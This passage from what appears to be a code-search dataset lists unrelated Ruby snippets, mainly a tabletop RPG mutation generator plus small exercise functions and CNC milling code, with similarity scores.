\\\"77\\\", :notes => \\\"\\\"}\\n when 40\\n physical_alteration = \\\"Chicken legs.\\\"\\n @@appearance = [@@appearance - (d(4) + d(4)), 1].max\\n @@movement_rate_base += 2\\n @@attacks << {:attack_mode => \\\"Chicken leg kick\\\", :SV => 3, :rate => 1, :range => 0, :damage => \\\"d12\\\", :ammo => \\\"infinite\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \\\"77\\\", :notes => \\\"Additional melee atack\\\"}\\n when 41\\n physical_alteration = \\\"Dog legs.\\\"\\n @@appearance = [@@appearance - (d(6) + d(6)), 1].max\\n @@movement_rate_base += (d(6) + d(6) + 2)\\n when 42\\n physical_alteration = \\\"Goat legs.\\\"\\n @@appearance = [@@appearance - (d(6) + d(6)), 1].max\\n @@movement_rate_base += (d(8) + d(8) + 2)\\n when 43\\n physical_alteration = \\\"Bat wings instead of arms, tipped with human hands.\\\"\\n when 44\\n physical_alteration = \\\"Massive muscles.\\\"\\n @@movement_rate_base -= 0.5\\n @@character_weight += 30\\n @@strength += (30 + d(20))\\n @@endurance += (10 + d(10))\\n when 45\\n physical_alteration = \\\"Barrel-shaped torso.\\\"\\n @@appearance = [@@appearance - d(4), 1].max\\n @@strength += (d(8) + d(8))\\n @@endurance += (d(10) + d(10) + d(10))\\n when 46\\n physical_alteration = \\\"Warty skin.\\\"\\n @@appearance = [@@appearance - (d(4) + d(4)), 1].max\\n when 47\\n physical_alteration = \\\"Large bulbous nose.\\\"\\n @@appearance = [@@appearance - d(4), 1].max\\n when 48\\n physical_alteration = \\\"Massive floppy ears.\\\"\\n @@appearance = [@@appearance - d(8), 1].max\\n @@character_notes << \\\"Due to massive floppy ears, 50 percent hearing increase.\\\"\\n when 49\\n physical_alteration = \\\"Protruding veins.\\\"\\n @@appearance -= (d(4) + d(4))\\n when 50\\n physical_alteration = \\\"Stocky legs.\\\"\\n @@appearance = [@@appearance - d(3), 1].max\\n @@movement_rate_base -= 1\\n when 51\\n physical_alteration = \\\"Broad, flat head, eyes wide apart, pancake-like face.\\\"\\n @@appearance = [@@appearance - (d(6) + 3), 1].max\\n when 52\\n physical_alteration = \\\"Lion-like mane, looks like a huge beard.\\\"\\n @@dv -= 2\\n # females only @@appearance -= (d(6) + d(6))\\n when 53\\n physical_alteration = \\\"Horse tail.\\\"\\n @@agility += d(3)\\n when 54\\n physical_alteration = \\\"Skull-like face, sunken features.\\\"\\n @@appearance = [@@appearance - (d(6) + d(6) + 5), 1].max\\n when 55\\n physical_alteration = \\\"Lizard tongue.\\\"\\n when 56\\n physical_alteration = \\\"Huge, saggy cheeks.\\\"\\n @@appearance = [@@appearance - (d(4) + d(4)), 1].max\\n when 57\\n feeding_tentacles = (d(6) + d(6))\\n physical_alteration = \\\"#{feeding_tentacles} around mutant's mouth.\\\"\\n @@appearance = [@@appearance - (feeding_tentacles * 2), 1].max\\n when 58\\n physical_alteration = \\\"Tongue #{(10 + d(20))} cm long.\\\"\\n when 59\\n physical_alteration = \\\"Large, high forehead.\\\"\\n @@appearance = [@@appearance - d(4), 1].max\\n @@intelligence += d(4)\\n when 60\\n extra_eyes = (d(6) + d(6))\\n physical_alteration = \\\"#{extra_eyes} extra eyes.\\\"\\n @@appearance = [@@appearance - (extra_eyes), 1].max\\n @@initiative += (extra_eyes / 2)\\n @@character_notes << \\\"Vision acuity increased by #{(extra_eyes / 2) * 5} percent by extra eyes.\\\"\\n when 61\\n physical_alteration = \\\"Hair the thickness of string.\\\"\\n when 62\\n physical_alteration = \\\"Facial order upside down: mouth on forehead, nose, then eyes.\\\"\\n @@appearance = [@@appearance - (d(6) + d(6) + d(6) + d(6)), 1].max\\n when 63\\n physical_alteration = \\\"Double-speed hair growth.\\\"\\n when 64\\n physical_alteration = \\\"Eyes are on the sides of the mutant's head.\\\"\\n @@appearance = [@@appearance - (d(4) + d(4)), 1].max\\n @@perception += (d(4) + d(4))\\n when 65\\n physical_alteration = \\\"Huge toad-like eyes on top of mutant's head.\\\"\\n @@appearance = [@@appearance - (d(4) + d(4)), 1].max\\n @@perception += (d(10) + d(10))\\n when 66\\n extra_finger_location = random_body_location(d(20))\\n physical_alteration = \\\"Extra finger on #{extra_finger_location}. Mutant suffers -#{d(3)} appearance if extra finger isn't concealed.\\\"\\n when 67\\n prehensile_tail_location = random_body_location(d(20))\\n physical_alteration = \\\"Prehensile tail on #{prehensile_tail_location}, 3m length. Can wield dagger or knife in combat.\\\"\\n @@agility += (d(4) + d(4))\\n @@movement_rate_base += 1\\n if prehensile_tail_location == \\\"head\\\"\\n @@appearance = [@@appearance - (d(6) + d(6)), 1].max\\n else\\n @@appearance = [@@appearance - d(6), 1].max\\n end\\n when 68\\n physical_alteration = \\\"Strong immune system: mutant gains 2 hazard checks vs. poison, radiation, disease, etc.\\\"\\n @@character_notes << \\\"Due to strong immune system, 2 hazard checks vs. poison, radiation, disease, etc.\\\"\\n @@endurance_healing_rate += 4\\n\\n when 69\\n physical_alteration = \\\"Thick bones.\\\"\\n @@endurance += (d(6) + d(6))\\n when 70\\n physical_alteration = \\\"Exceedingly flexible.\\\"\\n @@agility += (d(6) + d(6))\\n when 71\\n physical_alteration = \\\"Slow metabolism - mutant requires 1/2 as much food as typical human.\\\"\\n when 72\\n physical_alteration = \\\"Ventriloquist vocal chords - mutant can throw voice 5m.\\\"\\n when 73\\n physical_alteration = \\\"Chameleon skin: can change flesh color to blend into surroundings as skill: conceal self or concealed movement as skill level 4 when near naked.\\\"\\n when 74\\n physical_alteration = \\\"Elongated tongue: #{(14 + d(6) + d(6))} cm long.\\\"\\n when 75\\n physical_alteration = \\\"Gorilla-like hair covers entire body.\\\"\\n @@appearance = [@@appearance - (d(6) + d(6)), 1].max\\n when 78\\n physical_alteration = \\\"Four legs, two sets of hips, legs work in unison.\\\"\\n @@movement_rate_base += (d(6) + 1)\\n @@endurance += (d(6) + d(6) + d(6))\\n @@appearance = [@@appearance - (d(6) + d(6)), 1].max\\n when 79\\n physical_alteration = \\\"Baggy skin on body and face.\\\"\\n @@appearance = [@@appearance - (d(10) + d(10) + 6), 1].max\\n when 80\\n physical_alteration = \\\"Fungal skin growth: white patches across mutant's body.\\\"\\n @@appearance = [@@appearance - d(8), 1].max\\n when 81\\n physical_alteration = \\\"Fins grow on mutant's back, shoulders and arms - excellent swimmer!\\\"\\n @@character_notes << \\\"Due to fins, mutant cannot wear combat or shell class relic armors. Unless fins are sawed off...\\\"\\n @@dv -= 4\\n @@appearance = [@@appearance - d(6), 1].max\\n @@movement_rate_swimming += d(6)\\n when 82\\n physical_alteration = \\\"Awesome body - centerfold level.\\\"\\n @@appearance += (10 + d(10))\\n @@strength += (10 + d(10))\\n @@endurance += d(10)\\n @@agility += d(10)\\n @@accuracy += d(10)\\n when 83\\n physical_alteration = \\\"Huge heart pumps blood more efficiently.\\\"\\n @@strength += (10 + d(10))\\n @@endurance += (10 + d(10))\\n @@movement_rate_base += 1\\n when 84\\n physical_alteration = \\\"Dense skin: mutant's skin is thick and resistant to physical harm.\\\"\\n @@dv -= 5\\n @@endurance += (d(10) + d(10))\\n when 85\\n physical_alteration = \\\"Carnivore: mutant cannot safely digest plant matter; however, carrion can be eaten safely.\\\"\\n when 86\\n physical_alteration = \\\"Herbivore: mutant cannot digest meat or animal-derived foods. However, mutant can live on scrub weeds, dry grass, cactus, etc.\\\"\\n when 87\\n physical_alteration = \\\"Bristly patches of thick hair cover #{(10 + d(10))} percent of mutant's body.\\\"\\n @@appearance = [@@appearance - (d(6) + d(6)), 1].max\\n @@dv -= (d(3) + 1)\\n when 88\\n physical_alteration = \\\"Patches of lizard scales cover #{(12 + d(12))} percent of mutant's body.\\\"\\n @@appearance = [@@appearance - (d(8) + d(8)), 1].max\\n @@dv -= d(8)\\n when 89\\n physical_alteration = \\\"Bone spikes on knees and elbows.\\\"\\n @@appearance = [@@appearance - d(4), 1].max\\n @@dv -= 1\\n @@attacks << {:attack_mode => \\\"Bone spikes\\\", :SV => 3, :rate => 2, :range => 0, :damage => \\\"d8\\\", :ammo => \\\"infinite\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \\\"78\\\", :notes => \\\"\\\"}\\n @@character_notes << \\\"Due to bone spikes, mutant cannot wear combat or shell class relic armors. Unless they are sawed off...\\\"\\n when 90\\n physical_alteration = \\\"Bone-studded fists: +3 dmg to punch attack.\\\"\\n when 91\\n physical_alteration = \\\"Bone ridge down back.\\\"\\n @@appearance = [@@appearance - d(4), 1].max\\n @@dv -= (6 + d(6))\\n when 92\\n physical_alteration = \\\"Pig's nose.\\\"\\n @@appearance = [@@appearance - (d(6) + d(6)), 1].max\\n @@character_notes << \\\"Due to pig's nose, mutant has 50 percent enhanced olfactory sense.\\\"\\n when 93\\n physical_alteration = \\\"Two nipples on each breast.\\\"\\n when 94\\n physical_alteration = \\\"Four ears.\\\"\\n @@appearance = [@@appearance - d(6), 1].max\\n @@initiative += 1\\n @@character_notes << \\\"Due to additional ears, character has double the chance to hear anything.\\\"\\n when 95\\n physical_alteration = \\\"Bone spines on back.\\\"\\n @@appearance = [@@appearance - d(6), 1].max\\n @@dv -= (d(6) + d(6) + 9)\\n @@character_notes << \\\"Due to bone spines, mutant cannot wear combat or shell class relic armors. Unless they're sawed off...\\\"\\n when 96\\n physical_alteration = \\\"Bone frill around base of skull.\\\"\\n @@appearance = [@@appearance - (d(6) + d(6)), 1].max\\n @@dv -= (d(6) + d(6))\\n @@character_notes << \\\"Due to bone frill, mutant cannot wear combat or shell class relic armors. Unless it's sawed off...\\\"\\n @@attacks << {:attack_mode => \\\"Bone frill slash\\\", :SV => 4, :rate => 1, :range => 0, :damage => \\\"d12 + 2\\\", :ammo => \\\"infinite\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \\\"78\\\", :notes => \\\"\\\"}\\n when 97\\n physical_alteration = \\\"Dense muscles and bones.\\\"\\n @@strength += (d(6) + d(6) + d(6))\\n @@endurance += (d(6) + d(6) + d(6))\\n when 98\\n physical_alteration = \\\"Cat-like balance and grace.\\\"\\n @@agility += (d(6) + d(6))\\n @@accuracy += (d(6) + d(6))\\n @@appearance += (d(4) + d(4))\\n when 99\\n 2.times physical_alterations_mutations(d(100))\\n when 100\\n physical_alteration = \\\"Toughness.\\\"\\n @@strength += (d(6) + d(6))\\n @@endurance += (d(6) + d(6))\\n 2.times physical_alterations_mutations(d(100))\\n end\\n\\n @@minor_mutations << \\\"Physical alteration: #{physical_alteration}\\\"\\n end\\n\\n physical_alterations_mutations(d(100))\\n\\n when 92..94\\n @@minor_mutations << \\\"Pouch: water-tight abdominal pouch capable of concealing a relic handgun, 2 grenades, a sheathed knife, 1 days' food and water, tinderbox, or similar-sized objects.\\\"\\n when 95..97\\n def wakefulness(roll)\\n case roll\\n when 2\\n \\\"#{d(6)} hours\\\"\\n when 3..5\\n \\\"#{d(4)} hours\\\"\\n when 6..8\\n \\\"#{d(3)} hours\\\"\\n when 9..10\\n \\\"1 hour\\\"\\n when 11\\n \\\"#{d(20)} minutes\\\"\\n when 12\\n \\\"Mutant never sleeps\\\"\\n end\\n sleep_needs = wakefulness((d(6) + d(6)))\\n @@minor_mutations << \\\"Wakefulness: mutant requires less sleep - #{sleep_needs} nightly.\\\"\\n end\\n\\n when 98..100 # Supposed to roll separate INT and WIL scores for each brain... haven't implemented that yet.\\n def underdeveloped_limb(roll)\\n case roll\\n when 1\\n @@minor_mutations << \\\"A handless arm grows from the shoulder. This limb could have an axe or sword lashed to it for an additional melee attack.\\\"\\n @@appearance = [@@appearance - (d(6) + d(6)), 1].max\\n when 2\\n def extra_head_feature(roll)\\n case roll\\n when 1\\n \\\"only a mouth\\\"\\n when 2\\n \\\"reserve mind\\\"\\n # add reserve mind\\n when 3\\n \\\"a single eye\\\"\\n when 4\\n \\\"a nose only\\\"\\n when 5\\n \\\"ears only\\\"\\n when 6\\n \\\"brain with one random mental mutation, TME1-59 p 59\\\"\\n end\\n end\\n @@minor_mutations << \\\"The beginnings of an extra head grows from the shoulders with #{extra_head_feature(d(6))}.\\\"\\n @@appearance = [@@appearance - (d(6) + d(6) + 2), 1].max\\n when 3\\n @@minor_mutations << \\\"A third leg grows off the hip, ending at the knee.\\\"\\n @@appearance = [@@appearance - (d(6) + d(6) + 2), 1].max\\n @@movement_rate_base -= 1\\n when 4\\n @@minor_mutations << \\\"#{d(4)} handless arms grow from the shoulders. Can have a melee weapon lashed to each for additional melee attacks.\\\"\\n when 5\\n def extra_torso_feature(roll)\\n case roll\\n when 1\\n \\\"female reproductive system\\\"\\n when 2\\n \\\"male reproductive system\\\"\\n when 3\\n \\\"additional heart and lungs\\\"\\n @@endurance += (d(10) + d(10))\\n @@strength += (d(10) + d(10))\\n when 4\\n \\\"digestive system\\\"\\n when 5\\n \\\"#{d(4)} reserve minds\\\"\\n when 6\\n #not sure whether this will work...\\n brain_extra_mutation = ghost_mutations_determination(d(100))\\n \\\"brain with 1 mental mutation: #{brain_extra_mutation}\\\"\\n end\\n end\\n @@minor_mutations << \\\"A large extra torso-like bulge grows from mutant's back, including #{extra_torso_feature(d(6))}.\\\"\\n @@character_weight += 20\\n @@appearance = [@@appearance - (d(6) + d(6) + 3), 1].max\\n when 6\\n head_numbers = d(4)\\n head_numbers.times do\\n @@minor_mutations << \\\"Underdeveloped extra head number #{head_numbers} with #{extra_head_feature(d(6))}\\\"\\n head_numbers -= 1\\n end\\n @@appearance = [@@appearance - (d(6) + d(6) + 2), 1].max\\n when 7\\n def shrunken_arm_location(roll)\\n case roll\\n when 1\\n \\\"back\\\"\\n when 2\\n \\\"chest\\\"\\n when 3\\n \\\"side\\\"\\n when 4\\n \\\"shoulder\\\"\\n when 5\\n \\\"belly\\\"\\n when 6\\n \\\"hip\\\"\\n end\\n end\\n @@minor_mutations << \\\"A shrunken arm and tiny hand grow from mutant's #{shrunken_arm_location(d(6))}. Arm is 1/4 strength of others but can use a small weapon if character wishes.\\\"\\n @@appearance = [@@appearance - d(6), 1].max\\n when 8\\n def single_eye_mutation(roll1,roll2) # p. 79\\n case roll1\\n when 1\\n \\\"back of head\\\"\\n when 2\\n \\\"shoulder\\\"\\n when 3\\n \\\"chest\\\"\\n when 4\\n \\\"forehead\\\"\\n when 5\\n \\\"back\\\"\\n when 6\\n \\\"belly\\\"\\n end\\n\\n case roll2\\n when 1..66\\n def single_eye_ability(roll3) # need to add in actual mutation attacks here...\\n end\\n end\\n case roll3\\n when 1\\n \\\"devastator pulse\\\"\\n when 2\\n \\\"electro magnetic pulse\\\"\\n when 3\\n \\\"beam eyes\\\"\\n when 4\\n \\\"electrical pulse\\\"\\n when 5\\n \\\"light burst\\\"\\n when 6\\n \\\"night vision\\\"\\n end\\n end\\n single_eye_ability(d(6))\\n @@minor_mutations << \\\"A single eye winks from mutant's #{single_eye_mutation(d(6), d(100))}\\\"\\n\\n # @@minor_mutations << \\\"Underdeveloped Limb\\\" # I think this line is redundant...\\n end\\n underdeveloped_limb(d(8))\\n end\\nend\\n##### End Table TME-1-60 #####\\n\\n @@minor_mutations_rolls.times do\\n minor_mutations_determination(d(100))\\n end\\n\\n\\n if @@flaw_mutations_rolls > 0\\n flaw_mutations = Array.new\\n end\\n\\n##### Table TME-1-61, Flaw Mutations, Hub Rules p. 59 #####\\n\\n def flaw_mutations_determination(roll)\\n case roll\\n when 01..02\\n @@flaw_mutations << \\\"Abnormal Anxiety\\\"\\n when 03..04\\n @@flaw_mutations << \\\"Altered Digestive Tract\\\"\\n when 05..06\\n @@flaw_mutations << \\\"Baldness\\\"\\n when 07..17\\n @@flaw_mutations << \\\"Birth Defect\\\"\\n when 18..19\\n @@flaw_mutations << \\\"Blocked Sinuses\\\"\\n when 20..21\\n @@flaw_mutations << \\\"Chronic Acne\\\"\\n when 22..23\\n @@flaw_mutations << \\\"Chronic Dermatitis\\\"\\n when 24..25\\n @@flaw_mutations << \\\"Chronic IngrownHairs\\\"\\n when 26..27\\n @@flaw_mutations << \\\"Chronic Ulcers\\\"\\n when 28..29\\n @@flaw_mutations << \\\"Coronary Thrombosis\\\"\\n when 30..31\\n @@flaw_mutations << \\\"Degenerated Nervous System\\\"\\n when 32..33\\n @@flaw_mutations << \\\"Dizziness\\\"\\n when 34..35\\n @@flaw_mutations << \\\"Early Menopause (females only)\\\"\\n when 36..37\\n @@flaw_mutations << \\\"Excessive Lung Fluid\\\"\\n when 38..39\\n @@flaw_mutations << \\\"Exhaustion\\\"\\n when 40..41\\n @@flaw_mutations << \\\"Extensive Warts\\\"\\n when 42..43\\n @@flaw_mutations << \\\"Extreme Halitosis\\\"\\n when 44..45\\n @@flaw_mutations << \\\"Faulty Immune System\\\"\\n when 46\\n @@flaw_mutations << \\\"Flammable Tissues\\\"\\n when 47\\n @@flaw_mutations << \\\"Hemophilia\\\"\\n when 48..49\\n @@flaw_mutations << \\\"Hormone Disorder\\\"\\n when 50..51\\n @@flaw_mutations << \\\"Inadequate Nerve Endings\\\"\\n when 52\\n @@flaw_mutations << \\\"Increased Aging\\\"\\n when 53\\n @@flaw_mutations << \\\"Increased Flatulence\\\"\\n when 54..57\\n @@flaw_mutations << \\\"Intense Allergy\\\"\\n when 58..59\\n @@flaw_mutations << \\\"Male Menopause (males only)\\\"\\n when 60..61\\n @@flaw_mutations << \\\"Migraine Headaches\\\"\\n when 62..63\\n @@flaw_mutations << \\\"Osteoporosis\\\"\\n when 64..65\\n @@flaw_mutations << \\\"Permanent Rhinitis\\\"\\n when 66..67\\n @@flaw_mutations << \\\"Perpetual Hiccups\\\"\\n when 68..69\\n @@flaw_mutations << \\\"Pre-Senile Dementia\\\"\\n when 70..71\\n @@flaw_mutations << \\\"Psoriasis\\\"\\n when 72..73\\n @@flaw_mutations << \\\"Reactionary Scent\\\"\\n when 74\\n @@flaw_mutations << \\\"Repeat Paralysis\\\"\\n when 75\\n @@flaw_mutations << \\\"Sonic Intolerance\\\"\\n when 76..77\\n @@flaw_mutations << \\\"Sterility\\\"\\n when 78..79\\n @@flaw_mutations << \\\"Tapeworms\\\"\\n when 80..81\\n @@flaw_mutations << \\\"Tooth Decay\\\"\\n when 82..86\\n @@flaw_mutations << \\\"Toxic Susceptibility\\\"\\n when 87..88\\n @@flaw_mutations << \\\"Tranquilizer Agent\\\"\\n when 89..94\\n @@flaw_mutations << \\\"Visual Disorder\\\"\\n when 95..96\\n @@flaw_mutations << \\\"Voice Disorder\\\"\\n when 97..98\\n @@flaw_mutations << \\\"Weeping\\\"\\n when 99..00\\n @@flaw_mutations << \\\"Whistle Croup\\\"\\n end\\n end\\n\\n @@flaw_mutations_rolls.times do\\n flaw_mutations_determination(d(100))\\n end\\n end\",\n \"def larg_palin_product\\n max_product = 1\\n (100...1000).each do |x|\\n (100...1000).each do |y|\\n max_product = x*y if (isPalindome x*y) && (x*y > max_product)\\n end\\n end\\n max_product\\nend\",\n \"def pirates_say_arrrrrrrrr(string) \\n to_return = \\\"\\\" # return a string\\n add_next = false \\n string.size.times do |index| #iterate upwards adding to the index for each look\\n current_char = string[index,1] # the present character is index 1 ont he string\\n to_return << current_char if add_next #move to the next character\\n add_next = (current_char == \\\"r\\\" || current_char == \\\"R\\\") # only add if the current character is an upper or lower case \\n end\\n to_return\\nend\",\n \"def straight\\n str= {}\\n (0..8).each { |i|\\n d=[14-i,13-i,12-i,11-i,10-i]\\n @hash_7_card.each { |s,_r| str[s]=@hash_7_card[s]&d }\\n #check that {str} has the right array of combination - straight\\n z=[]\\n str.each{|_s,r| z +=r }\\n return str if d&z == d\\n }\\n nil\\n end\",\n \"def point_mutation( bitstring , rate = 1.0/bitstring.size )\\n child = \\\"\\\"\\n bitstring.size.times do |i|\\n bit = bitstring[i] # for each bit in the string\\n child << ((rand < rate) ? ((bit == '1') ? \\\"0\\\" : \\\"1\\\") : bit) # change the bit value only if the rand is minor than the mutation probability\\n end\\n return child\\n end\",\n \"def full_game\\n 52.times do\\n round\\n end\\n output\\n rematch\\n end\",\n \"def pirates_say_arrrrrrrrr(string)\\n return_this = \\\"\\\"\\n new_array = Array.new\\n new_array << string.each_char\\n\\n new_array.size.times do |h|\\n next if h != \\\"r\\\"\\n #assign h an index number\\n #record every encounter of when h is \\\"r\\\" along with it's index number.\\n #add one to this index number\\n #go back to the orignal array of charaters or orignal string.\\n #find which character is at the index number of h as \\\"r\\\" plus one\\n #return this charater by putting it into the retrun_this empty string varaible.\\n end\\nend\",\n \"def puf_syndrome\\n \\n end\",\n \"def shoulders_stretch \\n \\\"Raise both shoulders at once up toward the ears. Drop them and repeat 10 times each direction.\\\"\\nend\",\n \"def mill_spiral(\\r\\n mill,\\r\\n cent_x,\\r\\n cent_y,\\r\\n inner_diam,\\r\\n outer_diam,\\r\\n channel_width,\\r\\n wall_thick,\\r\\n depth = nil)\\r\\n# - - - - - - - - - - - - - - - - - - -\\r\\n cut_inc = mill.cut_increment\\r\\n degree_inc = 1.0\\r\\n min_radius = inner_diam / 2.0\\r\\n max_radius = outer_diam / 2.0\\r\\n delta_radius = max_radius - min_radius\\r\\n \\r\\n if (depth == nil)\\r\\n depth = mill.cut_depth\\r\\n end #if\\r\\n\\r\\n # have to allow bit radius on\\r\\n # both sides of the cutting tool\\r\\n # for cutting tool compensation\\r\\n\\r\\n adjusted_channel_width = channel_width - mill.bit_radius\\r\\n if adjusted_channel_width < mill.bit_diam\\r\\n # our channel can not be less than\\r\\n # one bit thick\\r\\n adjusted_channel_width = mill.bit_diam\\r\\n end #if\\r\\n\\r\\n channel_start_max_radius = (min_radius + channel_width) - mill.bit_radius\\r\\n\\r\\n no_passes = (adjusted_channel_width / cut_inc) + 1.0\\r\\n usage_per_circle = (channel_width + wall_thick) * 1.05\\r\\n increase_per_degree = usage_per_circle / 360\\r\\n\\r\\n #print \\\"(mill_spiral no_passes=\\\", no_passes, \\\" usage_per_circle = \\\", usage_per_circle, \\\" increase per degree=\\\", increase_per_degree, \\\" min_radius=\\\", min_radius, \\\" max_radius=\\\", max_radius, \\\" cut_inc = \\\", cut_inc,\\\" tool adjusted channel_width=\\\", adjusted_channel_width, \\\")\\\\n\\\"\\r\\n\\r\\n pass_beg_radius = min_radius + mill.bit_radius\\r\\n pass_max_radius = (max_radius - channel_width) + mill.bit_radius\\r\\n\\r\\n\\r\\n\\r\\n passcnt = 0\\r\\n while (true)\\r\\n # one pass here for each width\\r\\n # of the bit we need to make\\r\\n curr_radius = pass_beg_radius\\r\\n deg = 0.0\\r\\n\\r\\n # Move the head to start of the spiral\\r\\n mill.retract()\\r\\n first_point = calc_point_from_angle(cent_x, cent_y, deg, curr_radius)\\r\\n mill.move(first_point.x, first_point.y)\\r\\n mill.plung(depth)\\r\\n\\r\\n while curr_radius <= pass_max_radius\\r\\n # mill a single pass of the \\r\\n # spiral\\r\\n aPoint = calc_point_from_angle(cent_x, cent_y, deg, curr_radius)\\r\\n mill.move(aPoint.x, aPoint.y)\\r\\n curr_radius += increase_per_degree\\r\\n deg += 1.0\\r\\n if (deg >= 360)\\r\\n deg = 0\\r\\n end #if\\r\\n\\r\\n end #while\\r\\n if (pass_beg_radius >= channel_start_max_radius)\\r\\n # our last pass was our final\\r\\n # for the specified channel width\\r\\n break\\r\\n elsif (pass_beg_radius + cut_inc) > channel_start_max_radius\\r\\n # one more cut increment will put us over the\\r\\n # the max channel width so we adjust the cut_inc\\r\\n # down so the last pass takes off just enough\\r\\n cut_inc = channel_start_max_radius - pass_beg_radius\\r\\n end #if\\r\\n pass_beg_radius += cut_inc\\r\\n pass_max_radius += cut_inc\\r\\n end # for\\r\\nend\",\n \"def mutate_ugcid(_)\\n (ALPHABET.sample(6) + DIGITS.sample(4)).join\\n end\",\n \"def square(cuadrado)\\n 2**(cuadrado - 1)\\n end\",\n \"def bomberMan(n, a, r, c)\\n n.even? ? r.times.map {'O'* c } : ( n == 1 ? a : (n % 4 == 1 ? detonate(detonate(a)) : detonate(a)) )\\nend\",\n \"def special_pythag_trip(target_sum)\\n\\ta = 1\\n\\tb = 1\\n\\tfor a in (1..target_sum) do\\n\\t\\tfor b in (1..target_sum) do\\n\\t\\t\\t#puts \\\"a : #{a}\\\"\\n\\t\\t\\t#puts \\\"b : #{b}\\\"\\n\\t\\t\\tsum_of_squares = a*a + b*b\\n\\t\\t\\tc = Math.sqrt(sum_of_squares).to_i\\n\\t\\t\\t\\n\\t\\t\\tif c*c == sum_of_squares\\n\\t\\t\\t\\ttriple = [a,b,c] \\n\\t\\t\\t\\tsum = triple.inject(0) {|sum,num| sum + num}\\n\\t\\t\\t\\t\\n\\t\\t\\t\\treturn triple[0]*triple[1]*triple[2] if sum == target_sum\\n\\t\\t\\tend\\n\\t\\t\\t\\n\\t\\tend\\n\\t\\n\\tend\\nend\",\n \"def vogal(str)\\n vogals = [\\\"a\\\", \\\"e\\\", \\\"i\\\", \\\"o\\\", \\\"u\\\"]\\n cons = [\\\"b\\\", \\\"c\\\", \\\"d\\\", \\\"f\\\", \\\"g\\\", \\\"h\\\", \\\"j\\\", \\\"k\\\", \\\"l\\\", \\\"m\\\", \\\"n\\\", \\\"p\\\", \\\"q\\\", \\\"r\\\", \\\"s\\\", \\\"t\\\", \\\"v\\\", \\\"w\\\", \\\"x\\\", \\\"y\\\", \\\"z\\\"]\\n# splitting the string given into arrays \\n str = str.chars\\n str_new = str.map do |char|\\n#looping the string into the next letter\\n if vogals.include?(char)\\n vogals.rotate(1)[vogals.index(char)]\\n else cons.include?(char)\\n cons.rotate(1)[cons.index(char)]\\n end\\n end\\n#joining the strings back\\n str_new.join\\nend\",\n \"def palabras\\n end\",\n \"def wreathmaking(squilla, noncarbonate_tilly, angionosis_parvolin)\\n prealarm_plaidie_premolar(philofelist, unacceptableness_printless)\\n suzan()\\n end\",\n \"def pirates_say_arrrrrrrrr(string)\\n characters = \\\"\\\"\\n add_letter = false\\n string.length.times do |index|\\n current = string[index]\\n characters << current if add_letter\\n add_letter = (current == 'r' || current == 'R')\\n end\\n characters\\nend\",\n \"def q(a);a.permutation;end\",\n \"def pirates_say_arrrrrrrrr(string)\\n to_return = \\\"\\\"\\n add_next = false\\n string.size.times do |index|\\n current_char = string[index, 1] # kindly enough, Josh Cheek put in a comment\\n# explainging the above line, that the second param tells Ruby to get a string of\\n# length 1, which is only necessary on version 1.8 and if you're on 1.9 and above\\n# that you should just go with string[index]. This makes me wonder about the \\n# value this tutorial offers, just saying.\\n to_return << current_char if add_next\\n add_next = (current_char == \\\"r\\\" || current_char == \\\"R\\\")\\n end\\n to_return\\nend\",\n \"def happy_unhappy_unhappiness\\n # The distance between 'i' and 'y' is 0.5. The distance between and two\\n # other non-equal phone pairs is 1. This ensures that 'i' and 'y' will tend\\n # align with each other.\\n happy_unhappy_phones =<<-EOTEXT\\n FORM, LETTER, CLASS\\n i, i, iy\\n y, y, iy\\n a, a, a\\n e, e, e\\n h, h, h\\n n, n, n\\n p, p, p\\n s, s, s\\n u, u, u\\n EOTEXT\\n phone_table = PhoneticAlign::PhoneTable.new(happy_unhappy_phones)\\n # Phonetic sequences\\n # Meanings\\n un_meaning = PhoneticAlign::FeatureValueMatrix[:POL => :neg]\\n happy_meaning = PhoneticAlign::FeatureValueMatrix[:LEMMA => :happy]\\n ness_meaning = PhoneticAlign::FeatureValueMatrix[:POS => :noun]\\n # Morphemes\\n un_morph = PhoneticAlign::SurfaceMorpheme.new(un_meaning, phone_table.phone_sequence(\\\"un\\\"))\\n happy_morph = PhoneticAlign::SurfaceMorpheme.new(happy_meaning, phone_table.phone_sequence(\\\"happy\\\"))\\n happy_happi_morph = PhoneticAlign::SurfaceMorpheme.new(happy_meaning, phone_table.phone_sequence(\\\"happi\\\"), \\n [phone_table.phone_sequence(\\\"happy\\\"),\\n phone_table.phone_sequence(\\\"happi\\\")])\\n ness_morph = PhoneticAlign::SurfaceMorpheme.new(ness_meaning, phone_table.phone_sequence(\\\"ness\\\"))\\n # Words consisting of all phones.\\n happy_p = PhoneticAlign::Word.new(phone_table.phone_sequence(\\\"happy\\\"), happy_meaning)\\n unhappy_p = PhoneticAlign::Word.new(phone_table.phone_sequence(\\\"unhappy\\\"), un_meaning + happy_meaning)\\n unhappiness_p = PhoneticAlign::Word.new(phone_table.phone_sequence(\\\"unhappiness\\\"), un_meaning + happy_meaning + ness_meaning)\\n # Words consisting of phones and morphemes.\\n unhappy_pm = PhoneticAlign::Word.new([un_morph] + phone_table.phone_sequence(\\\"happy\\\"), un_meaning + happy_meaning)\\n # Words consisting of all morphemes\\n happy_m = PhoneticAlign::Word.new([happy_morph], happy_meaning)\\n unhappy_m = PhoneticAlign::Word.new([un_morph, happy_morph], un_meaning + happy_meaning)\\n happy_happi_ness_m = PhoneticAlign::Word.new([happy_happi_morph, ness_morph], happy_meaning)\\n unhappy_happi_ness_m = PhoneticAlign::Word.new([un_morph, happy_happi_morph, ness_morph], un_meaning + happy_meaning + ness_meaning)\\n return Struct.new(:phone_table,\\n :happy_p, :unhappy_p, :unhappiness_p,\\n :unhappy_pm,\\n :happy_m, :unhappy_m, :happy_happi_ness_m, :unhappy_happi_ness_m,\\n :un_meaning, :happy_meaning, :ness_meaning).new(\\n phone_table,\\n happy_p, unhappy_p, unhappiness_p,\\n unhappy_pm,\\n happy_m, unhappy_m, happy_happi_ness_m, unhappy_happi_ness_m,\\n un_meaning, happy_meaning, ness_meaning)\\nend\"\n]","isConversational":false},"negative_scores":{"kind":"list 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\"0.5894413\",\n \"0.58048433\",\n \"0.57176256\",\n \"0.570659\",\n \"0.5703934\",\n \"0.56369495\",\n \"0.5597938\",\n \"0.55605215\",\n \"0.54968333\",\n \"0.5479757\",\n \"0.5464579\",\n \"0.54521936\",\n 